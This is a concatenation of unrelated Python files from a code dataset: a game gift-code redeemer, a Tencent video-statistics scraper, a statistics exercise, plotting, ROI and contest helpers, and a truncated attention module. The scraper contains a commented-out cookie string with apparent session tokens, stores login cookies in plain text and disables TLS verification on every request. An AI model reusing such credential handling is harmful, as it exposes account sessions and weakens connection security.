print(\"------\")","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"387962429","text":"import requests, re\nfrom lxml import etree\nfrom tools import *\nimport json\n\n__all__ = ['IggCode']\n\nheaders = {\n'Host': 'lordsmobile.igg.com',\n'Origin': 'http://lordsmobile.igg.com',\n'Referer': 'http://lordsmobile.igg.com/event/cn/cdkey/',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',\n'X-Requested-With': 'XMLHttpRequest',\n}\nwith open('./data/igg.json') as f:\n data = json.load(f)\n iggid = data['iggid']\nclass IggCode(object):\n def __init__(self):\n self.sess = requests.Session()\n self.re = re.compile(\\\n r'^(igg)*[ \\t\\r\\n]*(\\w+)$')\n self.url='http://lordsmobile.igg.com/event/cdkey/ajax.php?game_id=1051089902'\n def satisfy(self, msg):\n return self.re.match(msg) is not None\n def reply(self, msg, level):\n if level < ADMIN:\n return LEVEL_REQUIRED\n data = self.re.match(msg).groups()\n code = data[-1]\n data = {\n 'ac': 'receive',\n 'type': 0,\n 'iggid': iggid,\n 'charname': '',\n 'cdkey': code,\n }\n response = self.sess.post(self.url, data=data, headers = headers)\n return '{}'.format(response.json())\n\n\n","sub_path":"igg.py","file_name":"igg.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"438008668","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\nimport requests\nimport json\nimport math\nimport time\nimport datetime\nfrom dateutil.relativedelta import relativedelta\nfrom lxml.etree import HTML\nimport re\nimport urllib\nfrom PIL import Image\nfrom selenium import webdriver\n\nheaders = {\n 'accept': \"*/*\",\n 'accept-encoding': \"gzip, deflate, br\",\n 'accept-language': \"zh-CN,zh;q=0.9\",\n 'cache-control': \"no-cache,no-cache\",\n # 'cookie': \"vfwebqq=f6c27c04af9d2464c676112181dc7b328be542583714530b5a19756195db58e5b9ac1a7d9a62614c; pgv_info=ssid=s9852505430; pgv_pvid=9277601380; _ga=GA1.2.569029942.1548382908; pt_235db4a7=uid=tMrSur5bIPdltZ1auDKi4Q&nid=1&vid=dMDgAx8yhSt8KcdMbm8IhQ&vn=1&pvn=1&sact=1548382907870&to_flag=0&pl=lKJG0LYLprHQo0Bn3pjvcg*pt*1548382907870; pt_s_235db4a7=vt=1548382907870&cad=; pgv_pvi=9399543808; pgv_si=s1256772608; RK=tbJJjnM52F; ptcz=9cbb7dc45defc734cc2e87ac12e5711a48b6b098323ac3f7b426ff31127d1984; ts_refer=www.google.com/; ts_uid=1685446135; appDownClose=1; userid=14210488; tvfe_boss_uuid=5dbb42da414c8b96; ptisp=cm; _qpsvr_localtk=1550413096610; ptui_loginuin=3353693446; wxky=1; omtoken=b494c28e36; omtoken_expire=1550494195; alertclicked=%7C1%7C; ts_last=om.qq.com/article/videoStatistic\",\n # 'cookie': \"userid=14210488; omtoken=b494c28e36; \",\n 'cookie': \"\",\n 'pragma': \"no-cache\",\n 'referer': \"https://om.qq.com/article/videoStatistic\",\n 'user-agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36\",\n}\n\ndef login():\n\n try:\n driver = webdriver.Chrome()\n url = 'https://om.qq.com'\n driver.get(url)\n except:\n print('启动谷歌浏览器失败')\n time.sleep(120)\n exit()\n\n flag = 0\n while True:\n cookies = driver.get_cookies()\n\n cookieStr1 = ''\n cookieStr2 = ''\n for cookie in cookies:\n if cookie['name'] == 'userid':\n cookieStr1 = 'userid=' + cookie['value']+';'\n\n flag += 1\n\n if cookie['name'] == 'omtoken':\n cookieStr2 = 'omtoken=' + cookie['value'] + ';'\n flag+=1\n if cookieStr1 !='' and cookieStr2 !='':\n endStr = cookieStr1+cookieStr2\n if flag == 2:\n headers['cookie'] = endStr\n print('已登录...')\n break\n print('未检测到登录cookie。。')\n time.sleep(3)\n\n with open('cookies.txt','w') as f:\n f.write(headers['cookie'])\n\n\ndef get_html_detail(vid,url):\n print('网页url:'+url)\n response = requests.get(url, verify=False)\n response.encoding = 'utf8'\n # print(response.text)\n html = HTML(response.text)\n user_name = html.xpath('string(//span[@class=\"user_name\"])')\n\n VIDEO_INFO = re.search('var VIDEO_INFO = (.*?)',response.text,re.S)\n if VIDEO_INFO == None:\n return user_name, '', '', '', ''\n\n VIDEO_INFO_res = VIDEO_INFO.group(1).strip()\n json_obj = json.loads(VIDEO_INFO_res)\n # print(json.dumps(json_obj))\n publishDate = json_obj['video_checkup_time']\n desc = json_obj['desc'] if json_obj['desc'] else ''\n if len(desc)>0:\n tag = desc[-1]\n else:\n tag = ''\n\n #判断是横屏还是竖屏视频\n pic_url = json_obj['pic_640_360']\n if pic_url == None:\n videoType = ''\n else:\n urllib.request.urlretrieve(pic_url, 'pic.png')\n img = Image.open('pic.png')\n width = img.size[0]\n height = img.size[1]\n if width >= height:\n videoType = '横屏视频'\n else:\n videoType = '竖屏视频'\n\n return user_name,videoType,publishDate,desc,tag\n\ndef get_source(vid):\n url = 'https://napi.om.qq.com/VideoData/SingleVideo?vid='+vid\n response = requests.get(url,headers=headers, verify=False)\n # print(response.text)\n json_obj = json.loads(response.text)\n\n totalCount = json_obj['data']['new_total_play_pv']\n resStr = ''\n\n if totalCount == 0:\n resStr = '天天快报:0.00%;腾讯新闻:0.00%;腾讯视频:0.00%;QQ看点:0.00%;QQ浏览器:0.00%;微信看一看:0.00%;其他:0.00%;'\n else:\n resStr += '天天快报:'+str('%.2f'%(json_obj['data']['total_kuaibao_play_pv']*100/totalCount))+'%;'\n resStr += '腾讯新闻:'+str('%.2f'%(json_obj['data']['total_inews_play_pv']*100/totalCount))+'%;'\n resStr += '腾讯视频:'+str('%.2f'%(json_obj['data']['total_live_play_pv']*100/totalCount))+'%;'\n resStr += 'QQ看点:'+str('%.2f'%(json_obj['data']['total_kandian_play_pv']*100/totalCount))+'%;'\n resStr += 'QQ浏览器:'+str('%.2f'%(json_obj['data']['total_qb_play_pv']*100/totalCount))+'%;'\n resStr += '微信看一看:'+str('%.2f'%(json_obj['data']['total_wx_play_pv']*100/totalCount))+'%;'\n resStr += '其他:'+str('%.2f'%(json_obj['data']['new_total_other_play_pv']*100/totalCount))+'%;'\n print(resStr)\n return resStr\n\n\ndef get_oneWeek_oneMonth(vid,publishDate):\n url = 'https://napi.om.qq.com/VideoData/VideoDailyList?vid={vid}&fields=2%7C7&source=0&startdate={startDate}&enddate={endDate}'\n\n # oneWeek_startDate = time.strftime('%Y-%m-%d',time.localtime(int(time.time())-60*60*24*7))\n # oneWeek_endDate = time.strftime('%Y-%m-%d',time.localtime(int(time.time())+60*60*24*7))\n\n oneWeek_startDate = publishDate.split(' ')[0]\n oneWeek_startDate_stampTime = time.strptime(oneWeek_startDate, \"%Y-%m-%d\")\n oneWeek_startDate_stampTime = time.mktime(oneWeek_startDate_stampTime)\n oneWeek_endDate = time.strftime('%Y-%m-%d',time.localtime(int(oneWeek_startDate_stampTime)+60*60*24*7))\n oneWeek_url = url.format(vid=vid,startDate=oneWeek_startDate,endDate=oneWeek_endDate)\n # print(oneWeek_url)\n response = requests.get(oneWeek_url, headers=headers, verify=False)\n json_obj = json.loads(response.text)\n oneWeek_count = 0\n for data in json_obj['data']['list']:\n oneWeek_count+=data['new_daily_play_pv']\n print('一周播放量:'+str(oneWeek_count))\n\n # oneMonth_startDate = datetime.date.today() - relativedelta(months=+1)\n # oneMonth_endDate = time.strftime('%Y-%m-%d', time.localtime(int(time.time()) - 60 * 60 * 24))\n oneMonth_startDate = publishDate.split(' ')[0]\n oneMonth_startDate_stampTime = time.strptime(oneMonth_startDate, \"%Y-%m-%d\")\n oneMonth_startDate_stampTime = time.mktime(oneMonth_startDate_stampTime)\n oneMonth_endDate = time.strftime('%Y-%m-%d', time.localtime(int(oneMonth_startDate_stampTime) + 60 * 60 * 24 * 30))\n oneMonth_url = url.format(vid=vid,startDate=oneMonth_startDate,endDate=oneMonth_endDate)\n # print(oneMonth_url)\n response = requests.get(oneMonth_url, headers=headers, verify=False)\n json_obj = json.loads(response.text)\n oneMonth_count = 0\n for data in json_obj['data']['list']:\n oneMonth_count += data['new_daily_play_pv']\n print('一月播放量:'+str(oneMonth_count))\n return str(oneWeek_count),str(oneMonth_count)\n\n\ndef parse_detail(vid):\n print('id:'+vid)\n url = 'https://napi.om.qq.com/VideoData/VideoRealStatis?vid={vid}&fields=2%7C7&source=0'\n start_url = url.format(vid=vid)\n response = requests.get(start_url, headers=headers, verify=False)\n # print(response.text)\n json_obj = json.loads(response.text)\n\n title = json_obj['data']['title']\n print(title)\n url = json_obj['data']['url']\n total_play = str(json_obj['data']['new_total_play_pv'])\n total_play_finish_rate = str(round(json_obj['data']['total_play_finish_rate']*100,1))\n total_avg_play_time = str(round(json_obj['data']['total_avg_play_time']/60, 2))\n\n\n source = get_source(vid)\n user_name, videoType, publishDate, desc, tag = get_html_detail(vid,url)\n oneWeek_count, oneMonth_count = get_oneWeek_oneMonth(vid,publishDate)\n\n # id,标题,链接,发布人,类型,发布日期,一周播放量,一月播放量,总播放量,播放完成率,播放时长,播放来源,简介,标签\n save_res = vid+'||'+title+'||'+url+'||'+user_name+'||'+videoType+'||'+publishDate+'||'+oneWeek_count+'||'+oneMonth_count+'||'+total_play+'||'+total_play_finish_rate+'||'+total_avg_play_time+'||'+source+'||'+desc+'||'+tag\n save_res = save_res.replace(',',',').replace('\\n','').replace('||',',')+'\\n'\n print(save_res)\n with open('结果.csv','a',encoding='gbk',errors='ignore') as f:\n f.write(save_res)\n\n\ndef start():\n #获取cookie\n with open('cookies.txt') as f:\n headers['cookie'] = f.read().strip()\n\n #获取第一页\n start_url = 'https://napi.om.qq.com/VideoData/MediaVideoList?startdate=2019-02-12&enddate=2019-02-18&limit=8&page=1&fields=2%7C3&source=0'\n response = requests.get(start_url, headers=headers, verify=False)\n # print(response.text)\n json_obj = json.loads(response.text)\n\n #判断登录是否失效\n if 'response' in json_obj and json_obj['response']['code'] == -10403:\n print('登录失效,正在登录。。')\n login()\n start()\n\n #获取总页数\n total_num = json_obj['data']['total']\n totalPage = math.ceil(total_num/8)\n print('总页数是:'+str(totalPage))\n\n #处理第一页\n print('当前页:1')\n for item in json_obj['data']['list']:\n vid = item['vid']\n parse_detail(vid)\n\n #处理剩余页数\n for i in range(2,totalPage+1):\n print('当前页:'+str(i))\n url = 'https://napi.om.qq.com/VideoData/MediaVideoList?startdate=2019-02-12&enddate=2019-02-18&limit=8&page={pageToken}&fields=2%7C3&source=0'\n start_url = url.format(pageToken=i)\n try:\n response = requests.get(start_url, headers=headers, verify=False)\n except:\n print('当前页出错')\n with open('错误.txt', 'a') as f:\n f.write(start_url + '\\n')\n continue\n # print(response.text)\n json_obj = json.loads(response.text)\n for item in json_obj['data']['list']:\n vid = item['vid']\n try:\n parse_detail(vid)\n except:\n print('当前id出错:'+str(vid))\n with open('错误.txt','a') as f:\n f.write(vid+'\\n')\n continue\n\n print('程序运行完毕~')\n time.sleep(6000)\n\n\nif __name__ == '__main__':\n print('程序开始运行')\n with open('结果.csv','w',encoding='gbk') as f:\n #类型:横屏视频,竖屏视频\n f.write('id,标题,链接,发布人,类型,发布日期,一周播放量,一月播放量,总播放量,播放完成率,播放时长,播放来源,简介,标签\\n')\n start()","sub_path":"other/omqq/omqq.py","file_name":"omqq.py","file_ext":"py","file_size_in_byte":10590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"562960634","text":"import pandas as pd\n#import scipy.stats as stats\nfrom scipy.stats import shapiro\nfrom scipy.stats import ttest_rel\nimport scipy.stats\nfrom statsmodels.stats import power\nfrom math import sqrt\n\nif __name__ == '__main__':\n read_xls = pd.read_excel('/home/administrator/users_local/PiyushS/Stat_assing/Stat.xls')\n read_xls_col = list(read_xls.columns.values)\n\n '''\n Answer to Q1: Find the mean of old scheme and new scheme column.\n '''\n\n oldSchemeMean = read_xls[read_xls_col[1]].mean()\n newSchemeMean = read_xls[read_xls_col[2]].mean()\n print('oldSchemeMean = %.3f , newSchemeMean = %.3f '%(oldSchemeMean, newSchemeMean))\n\n '''\n Answer to Q2: Use the five percent significance test over the data to determine\n the p value to check new scheme has significantly raised outputs?\n '''\n\n alpha_new_scheme = 0.05\n '''\n Null Hypothesis : Status Que => New scheme has not significantly raised the output\n Alternate Hypothesis : New Scheme has significantly raised the output\n '''\n ## Test for Normality\n read_xls.diff = read_xls[read_xls_col[2]] - read_xls[read_xls_col[1]]\n stat , p = shapiro(read_xls.diff)\n print('Normalitiy Check Result - Statistics = %.3f, p = %.3f' % (stat, p))\n if p > alpha_new_scheme :\n print('Normality Check Pass - T-test Can be applied')\n else :\n print('Normality Check Fail - T-test Cannot be applied')\n\n two_sample = ttest_rel(read_xls[read_xls_col[2]],read_xls[read_xls_col[1]])\n print(two_sample)\n\n '''\n Answer to Q3 : What conclusion does the test (p-value) lead to?\n '''\n\n if two_sample.pvalue < alpha_new_scheme :\n print('Null Hypothesis Regected => New Scheme has significantly raised the output')\n else :\n print('Null Hypothesis Accepted => New scheme has not significantly raised the output')\n\n\n '''\n Answer to Q4 : a) The probability of a type 1 error.\n b) What is the p- value of the hypothesis test if we test for a difference of $5000?\n c) Power of the test\n '''\n\n read_xls[read_xls_col[2]] = read_xls[read_xls_col[2]] + 5\n two_sample = ttest_rel(read_xls[read_xls_col[2]], read_xls[read_xls_col[1]])\n\n print('Since pvalue is = %.3f and from the problem statement alternate hypothesis is accepted. So we can tak .01 as Type 1 error(Level of significance) '%(two_sample.pvalue))\n\n print('Pvalue if tested for a diff of 5000 is ', two_sample.pvalue)\n\n Diff_Data = read_xls[read_xls_col[2]] - read_xls[read_xls_col[1]]\n myeffect_size = (Diff_Data.mean() / Diff_Data.std())\n\n poweroftest = power.tt_ind_solve_power(alpha=0.05,nobs1=30,effect_size=myeffect_size)\n print('Power of Test is :%.3f percent'%(poweroftest*100))\n\n print('-----end ----')\n","sub_path":"Res02_Stat_Project.py","file_name":"Res02_Stat_Project.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"111225632","text":"class Message:\n def __init__(self, response):\n self.question = response[\"input\"][\"text\"]\n self.intents = response[\"intents\"]\n self.intent = self.intents[0][\"intent\"]\n self.entities = response[\"entities\"]\n self.output = response[\"output\"]\n self.text = self.output[\"text\"][0]\n self.action = self.output[\"action\"]\n self.context = response[\"context\"]\n self.title = self.context[\"title\"]","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"494361841","text":"def main():\n\n make_mult_cat_tsv(rc_num=0, cc_num=1)\n\n # load_tsv()\n\n clustergrammer_load()\n\ndef clustergrammer_load():\n # import network class from Network.py\n from clustergrammer import Network\n\n net = Network()\n\n net.pandas_load_file('mat_cats.tsv') \n\n net.make_clust(dist_type='cos',views=['N_row_sum','N_row_var'])\n\n net.write_json_to_file('viz','json/mult_cats.json','indent') \n\n print('\\n**********************')\n print(net.dat['node_info']['row'].keys())\n\n print('\\n\\n')\n\ndef load_tsv():\n import pandas as pd\n\n print('loading with pandas')\n\n filename = 'mat_cats.tsv'\n tmp = pd.read_table(filename, sep='\\t', index_col=[0,1], skipinitialspace=True, na_values='NaN', keep_default_na=False, usecols=range(12), skip_blank_lines=True)\n\n # filename = 'mat_2cc_1rc.txt'\n # tmp = pd.read_table(filename, index_col=[0,1], header=[0,1])\n\n mat = tmp.values\n row_names = tmp.index.tolist()\n col_names = tmp.columns.tolist()\n\n print(mat)\n print('\\nrow_names')\n print(row_names)\n print(len(row_names))\n print('\\ncol names')\n print(col_names)\n print(len(col_names))\n\ndef make_mult_cat_tsv(rc_num=1, cc_num=1):\n print('make tsv file with '+str(rc_num)+' row and '+str(cc_num)+' col labels')\n\n tmp = range(30)\n\n fw = open('txt/mat_cats.tsv','w')\n\n num_tab = rc_num + 1\n \n # write name \n #######################\n \n for inst_tab in range(num_tab):\n fw.write('\\t')\n\n for inst_num in tmp:\n inst_name = 'cn_'+str(inst_num)+'\\t'\n\n fw.write(inst_name)\n fw.write('\\n') \n\n # write categories \n ######################\n for inst_cc in range(cc_num):\n # write tabs in front of categories \n for inst_tab in range(num_tab):\n fw.write('\\t')\n # write categories \n for col in tmp:\n inst_cat = 'cc_'+str(inst_cc)+'_'+str(col)+'\\t'\n fw.write(inst_cat)\n\n fw.write('\\n')\n\n for i in tmp:\n inst_name = 'rn_'+str(i)\n\n inst_row = inst_name + '\\t' \n\n for inst_rc in range(rc_num):\n row_cat = 'rc_'+str(inst_rc)+'_'+str(i) + '\\t'\n\n inst_row = inst_row + row_cat\n\n\n # fw.write(inst_name+'\\t'+row_cat+'\\t')\n fw.write(inst_row)\n\n for j in tmp:\n fw.write(str(j)+'\\t')\n\n if int(i) < len(tmp)-1:\n fw.write('\\n')\n\n fw.close()\n\n\nmain()","sub_path":"make_mult_categories.py","file_name":"make_mult_categories.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"278835654","text":"def minFlip(string):\n\tcount = 0\n\tfor i in range(0, len(string) - 1):\n\t\tif string[i] != string[i + 1]:\n\t\t\tcount += 1\n\tif string[-1] == '-':\n\t\tcount += 1\n\treturn count\n\nif __name__ == \"__main__\":\n f = open('B-large.in', 'r')\n output = open('B-large.out', 'w')\n C = int(f.readline())\n for i in range(0, C):\n pancakesStr = f.readline().rstrip('\\n')\n output.write(\"Case #\" + str(i + 1) + \": \" + str(minFlip(pancakesStr)) + \"\\n\")","sub_path":"codes/CodeJamCrawler/16_0_2_neat/16_0_2_dfchen6_problem_b.py","file_name":"16_0_2_dfchen6_problem_b.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"377153359","text":"import numpy as np\r\nimport pandas as pd\r\nimport os\r\n\r\n\r\ndef get_indexes_by_thr(df, sc, thresholds, n):\r\n '''\r\n find random indexes belonging to certain thresholds for a column in a dataframe\r\n param df is a dataframe\r\n param sc is the name of a column in the dataframe\r\n param thresholds is a tuple of tuples e.g: ((0, .1), (.2, .3), ...)\r\n param n is the number of indexes to return for each threshold band\r\n returns list of lists of random indexes for each threshold category\r\n '''\r\n # initialize list to return\r\n indexes = []\r\n for tr in thresholds:\r\n # get the values of the indexes\r\n shuffledIdx = df[np.logical_and(df[sc] >= tr[0], df[sc] < tr[1])].index.values.copy()\r\n # shuffle them\r\n np.random.shuffle(shuffledIdx)\r\n # append, else append empty\r\n if len(shuffledIdx) > 0:\r\n indexes.append(list(shuffledIdx[0:n]))\r\n else:\r\n indexes.append([])\r\n\r\n return(indexes)\r\n\r\n\r\ndef make_core_name_from_series(series_data):\r\n '''\r\n series_data is a panda series with specific columns\r\n outputs: PH301_A2A-Ai14_slide-1_slice-0_manualROI-L-Tail\r\n '''\r\n # PH301_A2A-Ai14_slide-1_slice-0_manualROI-L-Tail\r\n assert isinstance(series_data, pd.Series), 'Data not pandas series'\r\n name = '_'.join([series_data.AnimalID,\r\n series_data.ExperimentalCondition,\r\n 'slide-' + series_data.Slide,\r\n 'slice-' + series_data.Slice,\r\n 'manualROI-' + series_data.Side + '-' + series_data.AP])\r\n return name\r\n\r\n\r\ndef make_image_name_from_series(series_data, channel):\r\n '''\r\n series_data is a panda series with specific columns\r\n outputs: PH301_A2A-Ai14_slide-1_slice-0_manualROI-L-Tail_squareROI-1_channel-1\r\n '''\r\n # PH301_A2A-Ai14_slide-1_slice-0_manualROI-L-Tail_squareROI-1_channel-1\r\n assert isinstance(series_data, pd.Series), 'Data not pandas series'\r\n name = '_'.join([make_core_name_from_series(series_data),\r\n 'squareROI-' + series_data.ROI,\r\n 'channel-' + str(channel)])\r\n return name + '.tif'\r\n\r\n\r\ndef group_name(df):\r\n # Create a unique identifier for every instance of measure (individual ROI)\r\n return '-'.join(df[['AnimalID', 'Slide', 'Slice', 'Side', 'AP', 'ROI']])\r\n\r\n\r\ndef manual_roi_name(df):\r\n # Create a unique identifier for every instance of measure (manual ROI)\r\n return '-'.join(df[['AnimalID', 'Slide', 'Slice', 'Side', 'AP']])\r\n\r\n\r\ndef get_roi_size(series_data):\r\n '''returns difference between elements of a panda series'''\r\n assert isinstance(series_data, pd.Series), 'Data not pandas series'\r\n # get unique elements\r\n un_els = pd.to_numeric(series_data.unique())\r\n # if only one column or row, return 0\r\n if len(un_els) == 1:\r\n return(0)\r\n # get difference between unique elements\r\n un_els_dif = np.diff(un_els)\r\n # if the difference is not the same\r\n assert any(x == un_els_dif[0] for x in un_els_dif), 'ROIs of distinct size'\r\n\r\n return(un_els_dif[0])\r\n\r\n\r\ndef create_dataframe_from_roi_file(filepath):\r\n '''\r\n creates a dataframe with information of rois\r\n '''\r\n # initialize list to hold the data\r\n rois_list = []\r\n # read from the file and populate the dictionary\r\n linecounter = 0\r\n with open(filepath) as f:\r\n for line in f:\r\n line = line.strip()\r\n parts = line.split(', ')\r\n # read column names from first line\r\n if linecounter == 0:\r\n columns = parts\r\n else: # append to the list\r\n rois_list.append(parts)\r\n linecounter += 1\r\n\r\n # create the dataframe\r\n rois_df = pd.DataFrame(data=rois_list, columns=columns)\r\n\r\n return(rois_df)\r\n\r\n\r\ndef get_manual_rois_file_path(df):\r\n '''\r\n generates the path to the file with the rois information\r\n '''\r\n rois_file_path = 'ROIs/000_ManualROIs_info/'\r\n datapath = get_animal_datapath(df)\r\n manual_roi_path = os.path.join(datapath,\r\n rois_file_path,\r\n make_core_name_from_series(df.iloc[0]))\r\n manual_roi_path = '_'.join([manual_roi_path,\r\n 'roi_positions.txt'])\r\n\r\n return (manual_roi_path)\r\n\r\n\r\ndef get_roi_position_extremes(df):\r\n '''\r\n returns extreme values for the position of the rois\r\n '''\r\n min_x = np.min(pd.to_numeric(df.high_res_x_pos))\r\n max_x = np.max(pd.to_numeric(df.high_res_x_pos))\r\n min_y = np.min(pd.to_numeric(df.high_res_y_pos))\r\n max_y = np.max(pd.to_numeric(df.high_res_y_pos))\r\n\r\n return (min_x, max_x, min_y, max_y)\r\n\r\n\r\ndef get_animal_datapath(df):\r\n mainpath = df.attrs['datapath']\r\n animal_id = df.AnimalID.unique()[0]\r\n return os.path.join(mainpath, animal_id)","sub_path":"utils/generic_functions.py","file_name":"generic_functions.py","file_ext":"py","file_size_in_byte":4862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"244861822","text":"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport warnings\nimport math\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.nn.init import xavier_uniform_, constant_\n\n\n\ndef phi(width: int,height: int,p_q: torch.Tensor):\n new_point = p_q.clone().detach()\n new_point[..., 0] = new_point[..., 0] * (width - 1)\n new_point[..., 1] = new_point[..., 1] * (height - 1)\n\n return new_point\n\ndef generate_ref_points(width: int,\n height: int):\n grid_y, grid_x = torch.meshgrid(torch.arange(0, height), torch.arange(0, width))\n grid_y = grid_y / (height - 1)\n grid_x = grid_x / (width - 1)\n\n grid = torch.stack((grid_x, grid_y), 2).float()\n grid.requires_grad = False\n return grid\n\n\nclass DeformableHeadAttention(nn.Module):\n \"\"\"Deformable Attention Module\"\"\"\n def __init__(self,last_height,last_width, C, M=8, K=4, L = 1, dropout=0.1, return_attentions = False):\n \"\"\"\n Args:\n - param C: emebedding size of the x's\n - param M: number of attention heads\n - param K: number of sampling points per attention head per feature level\n - param L: number of scale\n - param last_height: smallest feature height\n - param last_width: smallest feature width\n - param dropout: dropout ratio default =0.1,\n - param return_attentions: boolean, return attentions or not default = False\n \"\"\"\n super(DeformableHeadAttention, self).__init__()\n assert C % M == 0 # check if C is divisible by M\n self.C_v = C // M\n self.M = M\n self.L = L\n self.K = K\n self.q_proj = nn.Linear(C, C)\n self.W_prim = nn.Linear(C, C)\n self.dimensions = [[ last_height * 2**i , last_width * 2**i] for i in range(self.L)]\n self.dropout = None\n if dropout > 0:\n self.dropout = nn.Dropout(p=dropout)\n # 2MLK for offsets MLK for A_mlqk\n self.delta_proj = nn.Linear(C, 2 * M * L * K) # delta p_q 2 *L* M * K\n self.Attention_projection = nn.Linear(C, M*K*L) # K probabilities per M and L\n\n self.W_m = nn.Linear(C, C)\n self.return_attentions = True\n self.init_parameters()\n def forward(self,z_q,Xs,p_q ,query_mask = None,x_masks = None):\n \"\"\"\n Args:\n - param x_masks: batch, Height, Width\n - param query_mask: batch, H, W\n - param z_q: batch, H, W, C, query tensors\n - param Xs: List[batch, H, W, C] list of tensors representing multiscal image\n - param p_q: reference point 1 per pixel B, H, W, 2\n - return features Batch, Height, Width , C\n Attention Batch, Height, Width, L, M, K\n\n \"\"\"\n #\n if x_masks is None:\n x_masks = [None] * len(Xs)\n\n output = {'attentions': None, 'deltas': None}\n\n B, H, W, _ = z_q.shape\n\n # B, H, W, C\n z_q = self.q_proj(z_q)\n\n # B, H, W, 2MLK\n deltas = self.delta_proj(z_q)\n # B, H, W, M, 2LK\n deltas = deltas.view(B, H, W, self.M, -1)\n\n # B, H, W, MLK\n A = self.Attention_projection(z_q)\n\n # put at - infinity probas masked (batch, H, W, 1)\n if query_mask is not None:\n query_mask_ = query_mask.unsqueeze(dim=-1)\n _, _, _, M_L_K = A.shape\n query_mask_ = query_mask_.expand(B, H, W, M_L_K)\n A = torch.masked_fill(A, mask=query_mask_, value=float('-inf'))\n\n # batch, H, W, M, L*K\n A = A.view(B, H, W, self.M, -1)\n A = F.softmax(A, dim=-1) # soft max over the L*K probabilities\n\n # mask nan position\n if query_mask is not None:\n # Batch, H, W, 1, 1\n query_mask_ = query_mask.unsqueeze(dim=-1).unsqueeze(dim=-1)\n A = torch.masked_fill(A, query_mask_.expand_as(A), 0.0) # mask the possible nan values\n\n if self.return_attentions:\n output['attentions'] = A # # batch, H, W, M, L*K\n output['deltas'] = deltas # B, H, W, M, 2LK\n\n deltas = deltas.view(B, H, W, self.M, self.L, self.K, 2) # batch , H, W, M, L, K, 2\n deltas = deltas.permute(0, 3, 4, 5, 1, 2, 6).contiguous() # Batch, M, L, K, H, W, 2\n # Bacth * M, L, K, H, W, 2\n deltas = deltas.view(B * self.M, self.L, self.K, H, W, 2)\n\n A = A.permute(0, 3, 1, 2, 4).contiguous() # batch, M, H, W, L*K\n A = A.view(B * self.M, H * W, -1) # Batch *M, H*W, LK\n sampled_features_scale_list = []\n for l in range(self.L):\n x_l = Xs[l] # N H W C\n _, h, w, _ = x_l.shape\n\n x_l_mask = x_masks[l]\n\n # Batch, H, W, 2\n phi_p_q = phi(height=h, width=w, p_q=p_q) #phi multiscale\n # B, H, W, 2 -> B*M, H, W, 2\n phi_p_q = phi_p_q.repeat(self.M, 1, 1, 1) # repeat M points for every attention head\n # B, h, w, M, C_v\n W_prim_x = self.W_prim(x_l)\n W_prim_x = W_prim_x.view(B, h, w, self.M, self.C_v) # Separate the C features into M*C_v vectors\n #shape  batch, h( x_l ), w( x_l ), M, C_v\n\n if x_l_mask is not None: # si un masque est present\n # B, h, w, 1, 1\n x_l_mask = x_l_mask.unsqueeze(dim=-1).unsqueeze(dim=-1)\n x_l_mask = x_l_mask.expand(B, h, w, self.M, self.C_v)\n W_prim_x = torch.masked_fill(W_prim_x, mask=x_l_mask, value=0) # ne pas prendre en compte\n\n # Batch, M, C_v, h, w\n W_prim_x = W_prim_x.permute(0, 3, 4, 1, 2).contiguous()\n # Batch *M, C_v, h, w\n W_prim_x = W_prim_x.view(-1, self.C_v, h, w)\n # B*M, k, C_v, H, W\n sampled_features = self.compute_sampling(W_prim_x, phi_p_q, deltas, l, h, w)\n\n sampled_features_scale_list.append(sampled_features)\n\n # B*M, L, K, C_v, H, W\n #stack L (Batch *M, K, C_v, H, W) sampled features\n sampled_features_scaled = torch.stack(sampled_features_scale_list, dim=1)\n # B*M, H*W, C_v, LK\n sampled_features_scaled = sampled_features_scaled.permute(0, 4, 5, 3, 1, 2).contiguous()\n sampled_features_scaled = sampled_features_scaled.view(B * self.M, H * W, self.C_v, -1)\n # sampled_features_scaled (n B*M ,l H*W ,d C_v ,LK)\n # A (n B*M, l H*W ,s L*K)\n #result of the sum of product (n B*M , l H*W, d C_v) B*M, H*W, C_v\n Attention_W_prim_x_plus_delta = torch.einsum('nlds, nls -> nld', sampled_features_scaled, A)\n\n # B, M, H, W, C_v\n Attention_W_prim_x_plus_delta = Attention_W_prim_x_plus_delta.view(B, self.M, H, W, self.C_v)\n # B, H, W, M, C_v\n Attention_W_prim_x_plus_delta = Attention_W_prim_x_plus_delta.permute(0, 2, 3, 1, 4).contiguous()\n # B, H, W, M * C_v\n Attention_W_prim_x_plus_delta = Attention_W_prim_x_plus_delta.view(B, H, W, self.C_v * self.M)\n\n final_features = self.W_m(Attention_W_prim_x_plus_delta)\n if self.dropout:\n final_features = self.dropout(final_features)\n\n return final_features, output\n\n def compute_sampling(self, W_prim_x,phi_p_q, deltas, layer, h, w):\n offseted_features = []\n for k in range(self.K): # for K points\n phi_p_q_plus_deltas = phi_p_q + deltas[:, layer, k, :, :, :] # p_q + delta p_mqk\n vgrid_x = 2.0 * phi_p_q_plus_deltas[:, :, :, 